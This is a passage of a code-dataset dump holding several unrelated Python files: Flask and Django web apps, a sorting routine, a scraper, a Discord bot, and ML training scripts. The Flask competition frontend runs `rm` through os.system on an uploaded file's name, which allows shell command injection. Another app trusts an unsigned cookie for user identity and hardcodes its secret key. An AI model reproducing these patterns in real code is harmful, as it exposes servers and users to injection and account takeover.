argonath.utils import paginator_kwargs\n\nblueprints = (\n 'index',\n 'record',\n 'api',\n 'admin',\n 'admin_record'\n)\n\ndef create_app():\n app = Flask(__name__, static_url_path='/argonath/static')\n app.config.from_object('argonath.config')\n app.secret_key = 'wolegeca'\n\n logging.basicConfig(format='%(levelname)s:%(asctime)s:%(message)s',\n level=logging.INFO)\n\n for ext in (db, openid2):\n ext.init_app(app)\n\n for bp in blueprints:\n import_name = '%s.views.%s:bp' % (__package__, bp)\n app.register_blueprint(import_string(import_name))\n\n for fl in (max, min, paginator_kwargs):\n app.add_template_global(fl)\n\n @app.before_request\n def init_global_vars():\n user_dict = json.loads(request.cookies.get(app.config['OPENID2_PROFILE_COOKIE_NAME'], '{}'))\n g.user = user_dict and User.get_or_create(user_dict['username'], user_dict['email']) or None\n g.start = request.args.get('start', type=int, default=0)\n g.limit = request.args.get('limit', type=int, default=20)\n\n return app\n","sub_path":"argonath/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"470991696","text":"\"\"\"\n ShellSort.py 希尔排序\n\"\"\"\n\ndef shell_sort(_list):\n gap = len(_list) // 2\n while gap > 0:\n for i in range(gap, len(_list)):\n now = _list[i]\n j = i\n while j >= gap and now < _list[j - gap]:\n _list[j] = _list[j - gap]\n j -= gap\n _list[j] = now\n gap = gap // 2\n return _list\n\n\nif __name__ == \"__main__\":\n _list = [11, 4, 78, 5, 9, 20, 1, 69, 99]\n print(shell_sort(_list))","sub_path":"MiniModel/Sort/ShellSort.py","file_name":"ShellSort.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"342206930","text":"from bs4 import BeautifulSoup\nimport requests\n\nsource = requests.get('https://www.indeed.co.uk/jobs?q=javascript&l=london').text\n\nsoup = BeautifulSoup(source, 'lxml')\n# print(soup.prettify())\n\njobs = soup.find(class_='result')\n# print(jobs.prettify())\n\njob_title = jobs.a.text.strip()\nprint(job_title)\n","sub_path":"job_explorer.py","file_name":"job_explorer.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"41500679","text":"import pandas as pd\r\nimport numpy as np\r\nfrom sklearn import tree\r\nimport csv\r\nfrom csv import writer\r\ndf= pd.read_csv('test1.csv')\r\ndf['Type']= df['Type'].str.lower()\r\n\r\ndf['Blend']= df['Blend'].str.lower()\r\nx=df.iloc[:,0:4].values\r\ny=df.iloc[:,4:].values\r\n\r\nfrom sklearn.preprocessing import LabelEncoder\r\nle = LabelEncoder()\r\nx[:, 1] = le.fit_transform(x[:, 1])\r\nx[:, 0] = le.fit_transform(x[:, 0])\r\nclf = tree.DecisionTreeRegressor()\r\n\r\nclf = clf.fit(x, y)\r\nmyf=open('test.csv', 'wb')\r\nmyf.close()\r\nfrom flask import Flask, render_template, request\r\napp = Flask(__name__)\r\nresult=[]\r\n@app.route('/')\r\ndef student():\r\n \r\n return render_template('student.html')\r\n\r\n@app.route('/result',methods = ['POST', 'GET'])\r\ndef result():\r\n if request.method == 'POST':\r\n myfile = open('test.csv','w+')\r\n \r\n myfile.write(\"Type,Blend,Compression ratio,Load\\n\")\r\n Type = str(request.form[\"T\"])\r\n myfile.write(\"%s\"%(Type))\r\n myfile.write(\",\")\r\n \r\n Blend = str(request.form[\"B\"])\r\n myfile.write(\"%s\"%(Blend))\r\n myfile.write(\",\")\r\n \r\n \r\n Cr=int(request.form[\"CR\"])\r\n myfile.write(\"%d\"%(Cr))\r\n myfile.write(\",\")\r\n \r\n Load=int(request.form[\"L\"])\r\n myfile.write(\"%d\"%(Load))\r\n \r\n def append_list_as_row(file_name, list_of_elem):\r\n # Open file in append mode\r\n with open(file_name, 'a+') as write_obj:\r\n # Create a writer object from csv module\r\n csv_writer = writer(write_obj)\r\n # Add contents of list as last row in the csv file\r\n csv_writer.writerow(list_of_elem)\r\n \r\n \r\n myfile.close()\r\n df= pd.read_csv('test.csv')\r\n df['Type'] = df['Type'].str.lower()\r\n df['Blend']= df['Blend'].str.lower()\r\n print(df)\r\n x=df.iloc[:,0:4].values\r\n x[:, 1] = le.fit_transform(x[:, 1])\r\n x[:, 0] = le.fit_transform(x[:, 0])\r\n print(x)\r\n res=clf.predict(x)\r\n li=[Type,Blend,Cr,Load,res[0,0],res[0,1],res[0,2],res[0,3],res[0,4]]\r\n append_list_as_row('db.csv', li)\r\n return render_template(\"result.html\",HC=res[0,0],CO=res[0,1],CO2=res[0,2],O2=res[0,3],Nox=res[0,4])\r\n\r\nif __name__ == '__main__':\r\n app.run(debug = True)\r\n","sub_path":"Finalshivansh/ap.py","file_name":"ap.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"613883355","text":"import discord\nfrom discord.ext import commands\n\n# Initialise Client\nclient = commands.Bot(command_prefix=\"?\") # Initialise client bot\n\n\n@client.event\nasync def on_ready():\n # This will be called when the bot connects to the server\n print(\"Bot is online and connected to Discord\")\n\n\n@client.event\nasync def on_message(message):\n if message.content == \"cookie\":\n # responds with Cookie emoji when someone says \"cookie\"\n await message.channel.send(\":cookie:\")\n\nclient.run(\"token\") # Replace token with your bots token\n","sub_path":"Tutorial 1.py","file_name":"Tutorial 1.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"285845447","text":"import numpy as np\nfrom nesymres.utils import code_unpickler, code_pickler, load_dataset\nimport click\nimport pickle\nfrom nesymres import dclasses\nfrom torch.distributions.uniform import Uniform\nimport torch\nimport multiprocessing\nfrom tqdm import tqdm\nfrom nesymres.dataset.data_utils import evaluate_fun\n\n\ndef choose_eqs(data):\n sampling_distribution = Uniform(-25,25)\n num_p = 400\n sym = {}\n for idx, sy in enumerate(data.total_variables):\n sym[idx] = sampling_distribution.sample([int(num_p)])\n consts = torch.stack([torch.ones([int(num_p)]) for i in data.total_coefficients])\n support = torch.stack([x for x in sym.values()])\n input_lambdi = torch.cat([support,consts],axis=0)\n assert input_lambdi.shape[0] == len(data.total_coefficients) + len(data.total_variables)\n fun = [x.code for x in data.eqs]\n cut_off = min(int(5e4), len(data.eqs))\n points_fin, eqs_fin, lambi_fin = [], [], []\n res = []\n for i in range(int(len(data.eqs)/cut_off)+1):\n args = list(zip(fun[cut_off*i:cut_off*(i+1)], [input_lambdi]*cut_off))\n with multiprocessing.Pool(multiprocessing.cpu_count()) as p:\n with tqdm(total=cut_off) as pbar:\n for evaled in p.map(evaluate_fun, args,chunksize=1000):\n pbar.update()\n res.append(evaled)\n to_keep = []\n for idx, y in enumerate(res):\n if len(y) and min(y) != max(y) and max(y)< 1000 and min(y)>-1000:\n to_keep.append(idx)\n return to_keep\n\n@click.command()\n@click.option(\"--val_path\")\n@click.option(\"--num_target_eq\", default=100)\ndef main(val_path,num_target_eq):\n print(\"Started Loading Data\")\n data_val = load_dataset(val_path)\n data_val.eqs = [x for idx, x in enumerate(data_val.eqs) if idx in data_val.unique_index]\n to_keep = choose_eqs(data_val)[:num_target_eq]\n eqs = [data_val.eqs[x] for x in to_keep]\n filtered_validation = dclasses.Dataset(eqs=eqs, \n config=data_val.config, \n total_coefficients=data_val.total_coefficients, \n total_variables=data_val.total_variables, \n unique_index=range(len(to_keep)), \n word2id=data_val.word2id, \n id2word=data_val.id2word,\n bin_ops=data_val.bin_ops,\n una_ops=data_val.una_ops,\n rewrite_functions=data_val.rewrite_functions)\n validation_path = val_path + \"_subset\"\n with open(validation_path, \"wb\") as file:\n pickle.dump(filtered_validation, file)\n\n\n\n\nif __name__==\"__main__\":\n main()","sub_path":"old/filter_validation.py","file_name":"filter_validation.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"29825519","text":"from keras.datasets import mnist\r\nfrom keras.utils import np_utils\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense\r\nfrom keras.callbacks import ModelCheckpoint,EarlyStopping\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy\r\nimport os\r\nimport tensorflow as tf\r\n\r\n#seed 값 설정\r\nseed = 0\r\nnumpy.random.seed(seed)\r\ntf.set_random_seed(seed)\r\n############데이터 전처리###################\r\n#MNIST 데이터 불러오기\r\n(X_train, Y_class_train), (X_test, Y_class_test) = mnist.load_data()\r\n#각각 데이터의 갯수\r\nprint(\"학습셋 이미지 수: %d\" % (X_train.shape[0]))\r\nprint(\"테스트셋 이미지 수: %d\" %(X_test.shape[0]))\r\n\r\n#하나의 이미지만 불러와서 확인:imshow()를 이용.첫번째 이미지를 흑백으로 출력\r\nplt.imshow(X_train[0], cmap='Greys')\r\nplt.show()\r\n#하나의 class값만 부른 상황\r\nprint(\"class: %d\" %(Y_class_train[0]))\r\n\r\n'''\r\n그리고 이 이미지 데이터는 숫자의 집합으로 바뀌어 학습셋으로 사용됨. 따라서 28X28개의 속성을 가진 데이터인것.\r\nreshape(총샘플수, 1차원 속성의 수)함수를 사용. 28X28인 2차원배열을 784개의 1차원 배열로 바꿈. \r\n또한 케라스는 데이터를 0에서 1사이의 값을 변환해야 잘 작동.\r\n따라서 0~255사이의 값을 0~1사이의 값으로 바꿔줘야 함. \r\nnormalization:이렇게 데이터 폭이 클 때 적절한 값으로 분산의 정도를 바꾸는 과정 \r\n'''\r\nX_train = X_train.reshape(X_train.shape[0], 784).astype('float32') / 255\r\nX_test = X_test.reshape(X_test.shape[0], 784).astype('float32') / 255\r\n'''\r\nnp_utils.to_categorical(클래스, 클래스의 개수)함수를 이용\r\n그런데 딥러닝의 분류 문제를 해결하려면 원-핫 인코딩 방식을 적용해야 한다.\r\n0~9까지의 정수값을 갖는 현재 상태에서 0똔느 1로만 이루어진 벡터로 값을 수정해야 한다.\r\n\r\n'''\r\nY_train= np_utils.to_categorical(Y_class_train, 10)\r\nY_test = np_utils.to_categorical(Y_class_test, 10)\r\nprint(Y_train[0])\r\n\r\n######딥러닝 기본 프레임 만들기#########\r\n#모델 프레임 설정\r\nmodel = Sequential()\r\nmodel.add(Dense(512, input_dim=784, activation='relu'))\r\nmodel.add(Dense(10, activation='softmax'))\r\n\r\n#모델 실행 환경 설정\r\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\r\n\r\n#모델 최적화 설정:자동 중단\r\nMODEL_DIR = './model/'\r\nif not os.path.exists(MODEL_DIR):\r\n os.mkdir(MODEL_DIR)\r\n\r\nmodelpath = \"./model/{epoch:02d}-{val_loss:.4f}.hdf5\"\r\ncheckpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss',verbose=1, save_best_only=True)\r\nearly_stopping_callback = EarlyStopping(monitor='val_loss', patience=10)\r\n\r\n#모델의 실행: 200개씩*30번 = 60000 이걸 30번 반복해야. 따라서 30 * 30 = 900번 수행됨\r\nhistory = model.fit(X_train, Y_train, validation_data=(X_test, Y_test),epochs=30, batch_size=200, verbose=0, callbacks=[early_stopping_callback,checkpointer])\r\n\r\n#테스트 정확도 출력\r\nprint(\"\\n Test Accuracy: %.4f\" % (model.evaluate(X_test, Y_test)[1]))\r\n\r\n#테스트셋의 오차\r\ny_vloss = history.history['val_loss']\r\n\r\n# 학습셋의 오차\r\ny_loss = history.history['loss']\r\n\r\n#그래프로 표현\r\nx_len = numpy.arange(len(y_loss))\r\nplt.plot(x_len, y_vloss, marker='.',c=\"red\", label='Testset_loss')\r\nplt.plot(x_len, y_loss, marker='.',c=\"blue\", label='Trainset_loss')\r\n\r\n#그래프에 그리드를 주고 레이블을 표시\r\nplt.legend(loc='upper right')\r\nplt.grid()\r\nplt.xlabel('eploch')\r\nplt.ylabel('loss')\r\nplt.show()","sub_path":"16_MNIST_Simple.py","file_name":"16_MNIST_Simple.py","file_ext":"py","file_size_in_byte":3570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"486965757","text":"from django import forms\n\nfrom common.models import CountryCode, LanguageCode\nfrom .models import Gender, JurorIdType\n\n\nclass JurorRegisterForm(forms.Form):\n email = forms.EmailField()\n password = forms.CharField(min_length=6, max_length=32)\n nickname = forms.CharField(max_length=30, required=False)\n birth_year = forms.IntegerField(min_value=1900, max_value=2018,\n required=False)\n birth_month = forms.IntegerField(min_value=1, max_value=12,\n required=False)\n gender = forms.TypedChoiceField(\n choices=Gender.to_choices(),\n coerce=int,\n required=False)\n country_code = forms.TypedChoiceField(\n choices=[x[::-1] for x in CountryCode.to_choices()],\n required=False)\n language_code = forms.TypedChoiceField(\n choices=[x[::-1] for x in LanguageCode.to_choices()],\n required=False)\n referral_code = forms.CharField(min_length=4, max_length=8,\n required=False)\n\n\nclass KycApplyForm(forms.Form):\n realname = forms.CharField(max_length=100)\n birth_year = forms.IntegerField(min_value=1900, max_value=2018)\n birth_month = forms.IntegerField(min_value=1, max_value=12)\n gender = forms.TypedChoiceField(\n choices=Gender.to_form_choices(),\n coerce=int)\n country_code = forms.TypedChoiceField(\n choices=[x[::-1] for x in CountryCode.to_choices()])\n id_type = forms.TypedChoiceField(\n choices=JurorIdType.to_form_choices(),\n coerce=int)\n number = forms.CharField(min_length=6, max_length=24)\n front = forms.ImageField()\n hold = forms.ImageField()\n back = forms.ImageField(required=False)\n","sub_path":"oathprotocol/court/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"457307840","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Time : 2020/5/8 18:33\n@Auth : Minhang\n@File :power.py\n@IDE :PyCharm\n\"\"\"\nimport os\nimport re\nimport sys\n\nclass QuickOperation(object):\n\n def __init__(self):\n self.__set_base_abspath()\n\n def __output_cmd(self, msg=\"\", *args, **kwargs):\n \"\"\"\n 输出命令日志\n :param msg: 日志内容\n :return: None\n \"\"\"\n\n print(\"*** 正在执行命令: {} \".format(msg).ljust(60-self.__string_chinese_count(msg),\"*\")) # 不够60个字符, 左边补\"+\"\n return None\n\n def __string_chinese_count(self, msg=\"\"):\n \"\"\"\n 统计字符串中, 中文的个数\n :param msg: 被统计的字符串\n :return: 中文的个数\n \"\"\"\n\n count = len(re.findall(r'[\\u4E00-\\u9FFF]', msg))\n if isinstance(count,int):\n return count\n elif isinstance(count,float):\n return int(count)\n else:\n return 0\n\n def __set_base_abspath(self):\n \"\"\"\n 初始化基本路径\n :return: None\n \"\"\"\n self.help() # 查看使用文档\n self.project_path = os.path.abspath('.') # server 绝对路径\n\n return None\n\n def __set(self, command):\n\n self.__output_cmd(command)\n\n return os.system(command)\n\n def set_command(self, command=\"pwd\"):\n \"\"\"\n 设置命令 - 单条\n :param command: 命令\n :return: ret\n \"\"\"\n\n return self.__set(command)\n\n def help(self):\n\n print(\"帮助文档: 删除迁移文件 -- self.del_db_migrations_files()\")\n\n return None\n\n def del_db_migrations_files(self):\n \"\"\"\n 删除数据库迁移文件\n :return: None\n \"\"\"\n\n for maindir, subdir, file_name_list in os.walk(self.project_path):\n if \"migrations\" in maindir and \"__pycache__\" not in maindir:\n for filename in file_name_list:\n if \"__init__.py\" != filename:\n initial_path = os.path.join(maindir, filename) # 合并成一个完整路径\n os.remove(initial_path) # 删除\n\n return None\n\n def set_nginx(self):\n \"\"\"设置Nginx\"\"\"\n self.__output_cmd(\"设置Nginx\")\n self.__output_cmd(\"启动Nginx - start\")\n self.__output_cmd(\"停止Nginx - stop\")\n self.__output_cmd(\"重启Nginx - reload\")\n\n input_str = input(\"请输入命令: \")\n\n if input_str == \"start\":\n self.set_command(\"sudo nginx\")\n self.__output_cmd(\"正在 --- 启动Nginx\")\n elif input_str == \"stop\":\n self.set_command(\"sudo nginx -s stop\")\n self.__output_cmd(\"正在 --- 停止Nginx\")\n else:\n self.set_command(\"sudo nginx -s reload\")\n self.__output_cmd(\"正在 --- 重启Nginx\")\n\n return None\n\n def run(self, *args, **kwargs):\n\n if len(args[0]) <= 1: # 没有参数\n return None\n\n arg1 = args[0][1] # 获取第一个参数\n\n if arg1 == \"deletemigrations\":\n self.del_db_migrations_files() # 删除迁移文件\n\n return None\n\nif __name__ == \"__main__\":\n\n QuickOperation().run(sys.argv)","sub_path":"power.py","file_name":"power.py","file_ext":"py","file_size_in_byte":3221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"546339353","text":"import requests, json, os\nfrom flask import Flask, render_template, redirect, url_for, request, session, escape, flash\n\napp = Flask(__name__)\napp.secret_key = 'development'\n\n\n\n@app.route('/')\ndef index():\n return render_template(\"index.html\", var=\"variable\")\n\n@app.route('/competition/')\n@app.route('/competition/', methods=['GET', 'POST'])\ndef competition(ID=None):\n\n if ID == None:\n comp_var = requests.get('http://backend/api/competition/')\n logged_in = 'token' in session\n return render_template(\"comp.html\", comp_var=comp_var, logged_in=logged_in)\n\n elif request.method == 'GET':\n resp = requests.get('http://backend/api/competition/' + escape(str(ID)))\n\n comp, host, tasks = resp.json()\n if comp['file'] != None:\n\n host['admin'] = False\n if 'token' in session: # Logged in\n if host['fb_id'] == session['id']:\n host['admin'] = True\n\n return render_template(\"comp_individual.html\", comp=comp, host=host, tasks=tasks, bg_img= 'http://redid.nu:8890/image/'+comp['file'])\n\n else:\n return render_template(\"comp_individual.html\", comp=comp, host=host, tasks=tasks)\n\n elif request.method == 'POST':\n content = request.form\n\n if 'token' not in session:\n flash('You need to be logged in to create task!')\n return redirect(url_for('.login'))\n\n elif content.get(\"task-name\") == \"\" or content.get(\"task-points\") == \"\":\n print(\"Empty fields\")\n flash(\"Fill out both fields!\")\n return redirect(request.url)\n\n print(\"Valid fields\")\n payload = {\n \"action\": \"create\",\n \"target\": \"task\",\n \"name\": content.get(\"task-name\"),\n \"points\": content.get(\"task-points\"),\n \"cid\": request.url.split(\"/\")[-1]\n }\n print(payload)\n resp = requests.post(\"http://backend/api/\", json=payload, headers={\"token\": session[\"token\"]})\n r = resp.json()\n print(r)\n return redirect(request.url)\n\n@app.route('/leaderboards/')\ndef leaderboards():\n return render_template(\"leaderboard.html\")\n\n@app.route('/user/')\ndef user():\n return render_template(\"user.html\")\n\n@app.route('/task/')\ndef task(ID):\n task_var = requests.get('http://backend/api/task/')\n return render_template(\"task.html\", task_var = task_var, ID = ID)\n\n@app.route('/comp_create_new/', methods=[\"GET\", \"POST\"])\ndef comp_create_new():\n if 'token' not in session:\n flash('You need to be logged in to create an event!')\n return redirect(url_for('.login'))\n\n if request.method == \"POST\":\n if 'file' not in request.files:\n flash('No file!')\n return redirect(request.url)\n\n f = request.files['file']\n if f.filename == '':\n flash(\"No selected file!\")\n return redirect(request.url)\n f.save(\"uploads/\" + f.filename)\n\n files = {\"file\": open(\"uploads/\" + f.filename, 'rb')}\n resp = requests.post(\"http://backend/upload/\", files=files)\n r = resp.json()\n\n if r['success']:\n os.system(\"rm uploads/\" + f.filename)\n else:\n flash(\"File upload failed!\")\n return redirect(request.url)\n\n payload = {\n \"action\": \"create\",\n \"target\": \"event\",\n \"name\": request.form.get(\"user\"),\n \"country\": request.form.get(\"country\"),\n \"location\": request.form.get(\"location\"),\n \"filename\": f.filename\n }\n resp = requests.post(\"http://backend/api/\", json=payload, headers={\"token\": session['token']})\n r = resp.json()\n\n if r[\"success\"]:\n flash('Event created')\n return redirect(url_for(\".competition\") + str(r[\"id\"]))\n\n return render_template(\"comp_create_new.html\")\n\n@app.route('/upload/', methods=[\"POST\"])\ndef upload():\n f = request.files[\"file\"]\n f.save(\"uploads/\" + f.filename)\n\n files = {\"file\": open(\"uploads/\" + f.filename, 'rb')}\n r = requests.post(\"http://backend/upload/\", files=files)\n\n if r['success']:\n os.system(\"rm uploads/\" + f.filename)\n return json.dumps({\"success\": True})\n return json.dumps({\"success\": False})\n\n@app.route('/login/', methods=[\"GET\", \"POST\"])\ndef login():\n if request.method == \"POST\":\n content = request.form\n print(\"Content: {}\".format(content))\n if content == None or not 'id' in content or not 'name' in content:\n print(\"Some none\")\n return json.dumps({\"success\": False})\n\n if 'token' in session:\n flash(\"You are already logged in!\")\n return redirect(url_for('.index'))\n\n login_data = {\n 'fb_token': content.get('fb_token'),\n 'id': content.get('id'),\n 'name': content.get('name'),\n 'action': 'login'\n }\n resp = requests.post('http://backend/api/', json=login_data)\n r = resp.json()\n\n if r['success']:\n session[\"token\"] = r[\"token\"]\n session[\"name\"] = content.get(\"name\")\n session[\"id\"] = content.get(\"id\")\n flash(\"You are now logged in!\")\n return redirect(url_for('.index'))\n\n flash(\"Failed login: {}\".format(r['message']))\n return redirect(url_for('.login'))\n\n elif request.method == \"GET\":\n return render_template(\"login.html\")\n\n@app.route('/logout/', methods=[\"GET\", \"POST\"])\ndef logout():\n session.pop('name', None)\n session.pop('id', None)\n session.pop('token', None)\n flash('You have been logged out!')\n return redirect(url_for('.index'))\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=80, debug=True)\n","sub_path":"frontend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"34760469","text":"from task_3_1 import CreateCipher\nfrom task_3_5 import Encrypt\nfrom task_3_3 import Decrypt\n\ndef main():\n message = 'do not give up!'\n phrase = 'skyhigh'\n\n cipher_text = CreateCipher(phrase)\n\n enc_message = Encrypt(message, cipher_text)\n\n print('Phrase: {0}'.format(phrase))\n print('Encrypted Message: {0}'.format(enc_message))\n\nmain()\n","sub_path":"Revision Papers/03 HCI Prelim 2015/task_3/task_3_6.py","file_name":"task_3_6.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"160410646","text":"#!/usr/bin/env python\n \nfrom os import system\nimport curses\nimport re\nimport logging,os,sys\nlogging.basicConfig(filename = os.path.join(os.getcwd(), 'log.txt'), level = logging.DEBUG) \nfrom plugin import plugins\n\nclass UI():\n def __init__(self,screen):\n self.screen =screen\n content=''\n self.filename=sys.argv[1]\n try:\n with open(self.filename,'r') as f: content=f.read()\n except:pass\n self.lines = content.split('\\n')\n self.info=''\n self.key=0\n self.show_number=True\n self.line_no=0\n self.col=0\n self.offset=0\n self.height=curses.tigetnum('lines')\n self.word=None\n self.mode='Command'\n self.mark=None\n self.running=True\n\n def display_status(self,msg):\n self.screen.addstr(self.height-1,40,msg,curses.A_REVERSE)\n\n def color(self,line_no,start,end='$'):\n if end!='$':text=self.lines[line_no][start:end]\n else:text=self.lines[line_no][start:]\n if text and line_no in self.view_lines:\n self.screen.addstr(line_no-self.view_lines[0],start+self.side_width,text,curses.A_REVERSE)\n\n def color_selection(self,y1,x1,y2,x2):\n if y1*10000+x1>y2*10000+x2:\n t1,t2=y1,x1\n y1,x1=y2,x2\n y2,x2=t1,t2\n if y1==y2:self.color(y1,x1,x2)\n else:\n self.color(y1,x1)\n for y in range(y1+1,y2):\n self.color(y,0)\n self.color(y2,0,x2)\n\n def compute_view_lines(self):\n start=self.line_no-self.offset\n end=start+self.body_height\n if end>len(self.lines):end=len(self.lines)\n self.view_lines=range(start,end)\n\n def display_line_no(self,i,line_no):\n current_line_no_width=len(str(line_no))\n if self.show_number:\n line_header='%s%s '%(' '*(self.line_no_width-current_line_no_width),line_no)\n self.screen.addstr(i,0,line_header,curses.color_pair(1))\n\n def display_filter_word(self,word,line_no):\n line=self.lines[line_no]\n if word and line.find(word)>=0:\n self.color(line_no,line.index(word),line.index(word)+len(word))\n\n def display_body(self):\n for i in range(0,self.body_height):\n if i0:\n self.lines[y]=self.lines[y][:x-1]+self.lines[y][x:]\n self.col-=1\n elif ch==10:#enter break line \n self.info=self.lines[y][x:]\n self.lines.insert(y+1,self.lines[y][x:])\n self.lines[y]=self.lines[y][:x]\n self.do_command(ord('j'))\n self.col=0\n else:\n self.lines[y]=self.lines[y][:x]+chr(ch)+self.lines[y][x:]\n self.col+=1\n\n def do_command(self,ch):\n #delete cursor char\n if ch==ord('x'):\n y=self.line_no\n x=self.col\n self.lines[y]=self.lines[y][:x]+self.lines[y][x+1:]\n if ch==ord('l'):\n self.col+=1\n if ch==ord('h'):\n if self.col>0:self.col-=1\n if ch==ord('j'):\n if self.line_no0:\n self.line_no-=1\n if self.offset>0:self.offset-=1\n if ch==27:\n self.mode='Command'\n self.info='esc'\n self.word=None\n self.mark=None\n if ch==ord('i'):\n self.mode='Insert'\n if ch==ord('m'):\n self.mark=[self.line_no,self.col]\n self.info='Marked'\n if ch==ord(':') or ch == ord(';'):\n curses.echo()\n input=self.screen.getstr(self.height-1, 1, 60).strip()\n curses.noecho()\n self.info='Command '+input\n if input=='q':self.quit()\n if input=='w':\n self.save()\n self.info='file saved'\n elif input=='wq':\n self.save()\n self.quit()\n elif re.match('\\d+$',input):self.line_no=int(input)\n elif re.match('set\\s+number',input):self.show_number=True\n elif re.match('/\\w+',input):self.word=input[1:]\n func=plugins.get(chr(ch))\n if func:\n func(self)\n def save(self):\n with open(self.filename,'w') as f:\n f.write('\\n'.join(self.lines))\n def quit(self):\n self.running=False\n def main_loop(self):\n while self.running:\n self.display()\n ch=self.screen.getch()\n self.key=ch\n if self.mode=='Insert':\n self.do_insert(ch)\n else: self.do_command(ch)\n \n\nclass KeyHandler():\n def __init__(self):\n pass\n\ntry:\n screen=curses.initscr()\n curses.noecho()\n curses.start_color()\n curses.use_default_colors()\n curses.init_pair(1, curses.COLOR_GREEN, -1)\n curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_GREEN)\n UI(screen).main_loop()\nexcept:\n raise\nfinally:\n curses.echo()\n curses.endwin()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"304585864","text":"#!/usr/bin/env python3\n\"\"\"101-safely_get_value.py\"\"\"\nfrom typing import TypeVar, Mapping, Any, Union\n\nT = TypeVar('T')\nunionTNone = Union[T, None]\nunionAnyT = Union[Any, T]\n\n\ndef safely_get_value(dct: Mapping, key: Any, default: unionTNone) -> unionAnyT:\n \"\"\"safely_get_value\n\n Args:\n dct (Mapping): Mapping\n key (Any): Any\n default (unionTNone): unionTNone\n\n Returns:\n unionAnyT: unionAnyT\n \"\"\"\n if key in dct:\n return dct[key]\n else:\n return default\n","sub_path":"0x00-python_variable_annotations/101-safely_get_value.py","file_name":"101-safely_get_value.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"616967945","text":"\r\n###################################################################################################\r\n\"\"\"Merges Test Files\"\"\"\r\n##############################################################################################START\r\nimport glob\r\n\r\n## ADD PATH to DOWNLOADED FILES HERE with (*)\r\ntoBeCombined = \"*****\"\r\n## ADD PATH to FILE into which DOWNLOADED FILES to be ADDED\r\nafterCombined = \"*****\"\r\n\r\n## DECLARE VARIABLE\r\nread_files = glob.glob(toBeCombined)\r\nprint(\"Files in Path: \",read_files)\r\n\r\n## ITERATES OVER EACH LINE IN EACH FILE\r\nwith open(afterCombined,'w') as outfile:\r\n for fname in read_files:\r\n with open(fname) as infile:\r\n \toutfile.write(\"--\"*75+\"SEPARATOR\\n\\n\")\r\n \tfor line in infile:\r\n \t\toutfile.write(line)\r\n\r\n#can copy paste code twice or execute twice for Parts 1 & 2\r\n#################################################################################################END","sub_path":"practice_ATBS/mergingFiles4DBA.py","file_name":"mergingFiles4DBA.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"210297126","text":"# Python Programming Assignment 1\r\n# A utility for reading a document from local storage and counting \r\n# the number of vowels,words,sentences,punctuation marks\r\n\r\nVOWELS_STR = \"AEIOUaeiou\"\r\nlast_char_read = ''\r\nvowels = 0\r\nwords = 0\r\nline = 0\r\npunctuation = 0\r\n\r\ntry:\r\n filename = input(\"Enter filename:\t\")\r\n file = open(filename, 'r')\r\n while 1:\r\n char = file.read(1)\r\n if not char:\r\n break\r\n last_char_read = char\r\n if char in VOWELS_STR:\r\n vowels = vowels + 1\r\n if char == ' ':\r\n words = words + 1\r\n if char == '\\n':\r\n line = line + 1\r\n words = words + 1\r\n if char in \";,.:!?()[]-_{}\" or char == '\"':\r\n punctuation = punctuation + 1\r\n if last_char_read != '':\r\n words = words + 1\r\n if last_char_read != '\\n':\r\n line = line + 1\r\n\r\n print(\"\\n\")\r\n print(\"Vowels Count:\t\t\", vowels)\r\n print(\"Total Words:\t\t\", words)\r\n print(\"Total Lines:\t\t\", line)\r\n print(\"Punctuation Count:\t\", punctuation)\r\n\r\n file.close()\r\nexcept FileNotFoundError:\r\n print(\"No Such file exist.\")\r\n","sub_path":"assignment_1.py","file_name":"assignment_1.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"48493446","text":"from ToEmbed._main import DIRS,LinkDB,ConvertFields,StrBuff,StrCondition,Embed\n\n#To do:\n#title url\n\ndef Job(iname, page):\n #get job dir\n job=DIRS['Job'][iname]\n\n #create basic embed\n embed= Embed(\n title='', #page name\n url=LinkDB('job',iname) #page link\n #'http://www.alchemistcodedb.com/unit/'+unit_in[6:].replace('_', '').lower()+'#'+job_na.replace(' ', '-').replace('+', '-plus').lower()\n )\n embed.set_author(name=job['name'], 